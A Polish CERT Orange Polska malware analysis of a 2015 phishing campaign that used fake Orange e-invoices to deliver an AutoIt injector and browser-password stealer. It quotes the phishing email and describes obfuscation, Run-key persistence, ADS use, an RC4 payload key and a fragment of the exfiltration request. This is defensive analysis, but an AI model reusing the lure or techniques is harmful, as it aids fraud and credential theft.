Analiza kampanii złośliwego Oprogramowania efaktura Orange. Win32/Injector.Autoit.BKD / Trojan.VBInject

Transkrypt

1 Warszawa, dnia Analiza kampanii złośliwego Oprogramowania efaktura Orange Win32/Injector.Autoit.BKD / Trojan.VBInject CERT OPL Analiza Malware Autor: Iwo Graj Strona 1 z 20

2 Spis Treści. 1. Wstęp Analiza Statyczna Rekomendacje...21 CERT OPL Analiza Malware Autor: Iwo Graj Strona 2 z 20

3 Kampania szkodliwego oprogramowania Win32/Injector.Autoit.BKD / Win32/PSW.VB.NIS 1. Wstęp. Znaczna liczba polskich internautów w tym klienci Orange Polska otrzymała w piątek 2 października 2015 na swoje skrzynki dziwnie wyglądające wiadomości, sugerujące, iż mają do czynienia z zaległą fakturę Orange. Wiadomość wyglądała następująco: Witamy, Przypominamy, ze uplynal termin platnosci e-faktury za uslugi stacjonarne Orange. Zaleglosci z tytulu nieuregulowanych oplat dotycza: Numer faktury FWL Numer ewidencyjny Klienta Kwota do zaplaty 107,15 PLN Termin platnosci Szczególowe rozliczenie kwoty do zaplaty faktury jest dostepne pod linkiem. Wygodnie i zawsze w terminie e-fakture mozna oplacic korzystajac z Polecenia Zaplaty lub Platnosci Elektronicznej. Jezeli faktura zostala juz oplacona prosimy o uznanie tej wiadomosci za nieaktualna. Wiadomosc zostala wygenerowana automatycznie, prosimy na nia nie odpowiadac. Pozdrawiamy Orange Pod linkiem w wiadomości znajdowały się dwa różne adresy internetowe stron www: CERT OPL Analiza Malware Autor: Iwo Graj Strona 3 z 20

4 Wieczorem 2 października została założona kolejna domena na którą został przekierowany ruch z adresu na Po kliknięciu w link, otwierała się kolejna witryna, na której znajdował się animowany plik gif imitujący otwierający się w przeglądarce internetowej dokument Adobe Reader. Następnie użytkownikowi wyświetlał się plik do pobrania o nazwie FWL scr CERT OPL Analiza Malware Autor: Iwo Graj Strona 4 z 20

5 Poniżej plik z rozszerzeniem.gif, który wyświetlał się użytkownikowi. Pobierany plik był rozpoznawalny przez 32 na 56 silników antywirusowych. Świadczy to o tym, że autorzy tej kampanii wykorzystali gotowy skrypt, który w prawie niezmienionej postaci został wykorzystany w kampanii. Nie zostały użyte zaawansowane techniki zaciemniania kodu, triki utrudniające analizę, czy też protektory, wykrywające maszyny wirtualne. CERT OPL Analiza Malware Autor: Iwo Graj Strona 5 z 20

6 Oto kod źródłowy strony, która wyświetlała się użytkownikowi: Jak widać w powyższym kodzie, na stronie umieszczona była ramka importująca zawartość z docelowej strony skąd pobierany był kod: <div id="iframe_cont"> <iframe style="position:absolute; top:0px; left:0px;z-index:1;" src=" width="100%" height="100%" frameborder="0" scrolling="auto" id="frame_c"></iframe> </div> <noframes> <div style="text-align: center;"> <b>witamy. System wykrył, że twoja przeglądarka nie obsługuje ramek.</b><br /> <h1> <a href=" <p>darmowe aliasy <a href=" </p></div> </noframes> Na docelowej stronie znajdował się prosty skrypt JavaScript, który rozpoczynał pobieranie ze strony CERT OPL Analiza Malware Autor: Iwo Graj Strona 6 z 20

7 2. Analiza kodu Zdebugowanie pliku o nazwie FWL scr pozwoliło na dalszą analizę złośliwego kodu. Podczas analizy zostały przedstawione fragmenty, które kluczowo odpowiadają za infekowanie systemu użytkownika oraz jego złośliwe działanie. Po zdekompilowaniu sekcji kodu można zobaczyć zastosowane triki, których zadaniem jest utrudnienie czytania kodu: Po oczyszczeniu kodu z zakodowanych znaków CharCode'u kod wyglądał zdecydowanie bardziej przejrzyście: Jak widać po pierwszych liniach kodu, skrypt tworzył w użytkownika systemu dwa pliki: xd oraz plik wykonywalny o losowej nazwie wygenerowanej przez użytą funkcję Random. CERT OPL Analiza Malware Autor: Iwo Graj Strona 7 z 20

8 Lokalizacja plików w systemie Windows po infekcji: Plik o wygenerowanej losowo nazwie exe Zawartość tego pliku była kopią zawartości pliku pobieranego ze strony utworzonej przez spamerów. Funkcjonowanie tego skryptu miało zapewnić uruchamianie się docelowego pliku z wirusem przy każdym starcie systemu użytkownika. Był on generowany za pomocą pliku exe, posiadającego funkcję samorozpakowania. W pierwszej kolejności sprawdzał on, czy plik xd z docelowym wirusem istnieje już w systemie w danej lokalizacji. Jeśli nie, tworzył go ponownie, a następnie uruchamiał. Tego typu pętla miała zapewnić ciągłość infekcji komputera użytkownika. CERT OPL Analiza Malware Autor: Iwo Graj Strona 8 z 20

9 Wygenerowany plik z działającym wirusem znajdował się w następującej lokalizacji systemu Windows: Ciekawym pomysłem było również zastosowanie w kodzie triku z wykorzystaniem ADS (Alternate Data Streams). Jest to jedna ze standardowych właściwości systemu plików NTFS. W wielu przypadkach jest ona wykorzystywana przez twórców złośliwego oprogramowania do ukrywania danych w systemach plików NTFS. To częste zachowanie różnego typu rootkitów lub innego złośliwego oprogramowania. CERT OPL Analiza Malware Autor: Iwo Graj Strona 9 z 20

10 Poniżej przedstawiono fragment kodu dodający ADS do generowanego pliku z wartością :Zone.Identifier:$DATA Jednocześnie po pobraniu pliku FWL scr ze złośliwym oprogramowaniem za pomocą polecenia dir i przełącznika /r można zobaczyć jakie wartości ma w sobie ADS. CERT OPL Analiza Malware Autor: Iwo Graj Strona 10 z 20

11 Kolejną złośliwą funkcją było dopisanie do rejestru systemu użytkownika wpisu i podklucza, który miał uruchamiać wirusa lub ponownie wygenerować docelowy plik xd. Zaciemniony kod wirusa dopisujący wpis do rejestru: Kod po usunięciu zakodowanych znaków CharCode: Jak widać, wirus dopisywał za pomocą funkcji RegWrite do rejestru w lokalizacji HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run podklucz o nazwie WerFault oraz lokalizację pliku wykonywalnego wraz z jego nazwą wygenerowaną dynamicznie przez funkcję Random. Efekty infekcji zostały przedstawione na poniższym zrzucie ekranu. CERT OPL Analiza Malware Autor: Iwo Graj Strona 11 z 20

12 Wirus zainfekował system, dopisując podklucz do rejestru, a także zapisał ścieżkę do pliku wykonywalnego o nazwie exe w celu uruchamiania go przy każdym starcie zainfekowanego systemu. Lokalizacja pliku wykonywalnego exe to w tym przypadku C:\Users\Iwo Graj\AppData\Roaming CERT OPL Analiza Malware Autor: Iwo Graj Strona 12 z 20

13 Kolejną ciekawą rzeczą w kodzie jest użycie algorytmu RC4, który dekoduje całą zawartość pliku o nazwie xd znajdującego się w lokalizacji C:\Users\Iwo Graj\AppData\Local\Temp\. Kod źródłowy odpowiedzialny za odczytanie i zdeszyfrowanie pliku xd przedstawiono poniżej. Jak widać, klucz za pomocą którego można zdeszyfrować plik to ATug1WeGggHWUpmY2qyjve Poniżej przedstawiono Zaciemniony kod funkcji _rc4, która określa zawartość zmiennej $de, używanej w dalszej kolejności do realizacji złośliwych funkcji. CERT OPL Analiza Malware Autor: Iwo Graj Strona 13 z 20

14 Kod funkcji po usunięciu zakodowanych znaków CharCode: Kolejna zaciemniona CharCode'em zdefiniowana funkcja _get_rc4_opcode: Oraz po usunięciu zaciemnienia CharCode: CERT OPL Analiza Malware Autor: Iwo Graj Strona 14 z 20

15 Zmienna Opcode zawiera kod assemblera, który jest następnie wykonywany. Poniższe zrzuty przedstawiają omawiany deasemblowany kod Opcode : CERT OPL Analiza Malware Autor: Iwo Graj Strona 15 z 20

16 CERT OPL Analiza Malware Autor: Iwo Graj Strona 16 z 20

17 Poniżej przedstawiono pozostały zbiór zdefiniowanych przez autora funkcji użytych w kodzie. CERT OPL Analiza Malware Autor: Iwo Graj Strona 17 z 20

18 Po zdekodowaniu pliku xd za pomocą klucza RC4 znajdującego się w pliku z fakturą, przeprowadzono analizę wykonywalnego pliku binarnego, odpowiedzialnego za złośliwe funkcje - wykradanie loginów i haseł z przeglądarek internetowych. Na poniższym zrzucie ekranu przedstawiono program zatrzymany w momencie wysyłania skradzionych danych do serwera C&C. CERT OPL Analiza Malware Autor: Iwo Graj Strona 18 z 20

19 Na potrzeby analizy został utworzony użytkownik i hasło oraz konto pocztowe. Przekazywanie wykradzionych danych przez malware z zainfekowanego komputera na serwer, wykonywane jest za pomocą następujących żądań HTTP: E%207-9&pcname=CERT-ORANGE&sitename= CERT OPL Analiza Malware Autor: Iwo Graj Strona 19 z 20

20 3. Rekomendacje Jak usunąć tego wirusa? - uruchom system w trybie awaryjnym w menu start w oknie Wyszukaj programy i pliki wpisz Regedit i uruchom znaleziony plik regedit.exe - naciśnij Ctrl-F, w oknie wyszukiwania wpisz WerFault podklucz znajduje się w lokalizacji HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run po czym usuń znaleziony podklucz w nazwie WerFault odwołujący się do lokalizacji pliku wykonywalnego C:\[Nazwa_użytkownika]\AppData\Roaming\[nazwa_pliku.exe] - następnie otwórz lokalizację C:\Użytkownicy\[Nazwa_użytkownika]\AppData\Roaming\, odszukaj plik wykonywalny ****.exe występujący w podkluczu i usuń go - następnie otwórz lokalizację C:\Użytkownicy\[Nazwa_użutkownika]\AppData\Local\Temp\ odszukaj plik o nazwie xd i usuń go. Zalecamy również stosowanie oprogramowania antywirusowego, które może przyczynić się do uniknięcia kolejnych infekcji rożnego rodzaju złośliwym oprogramowaniem. CERT OPL Analiza Malware Autor: Iwo Graj Strona 20 z 20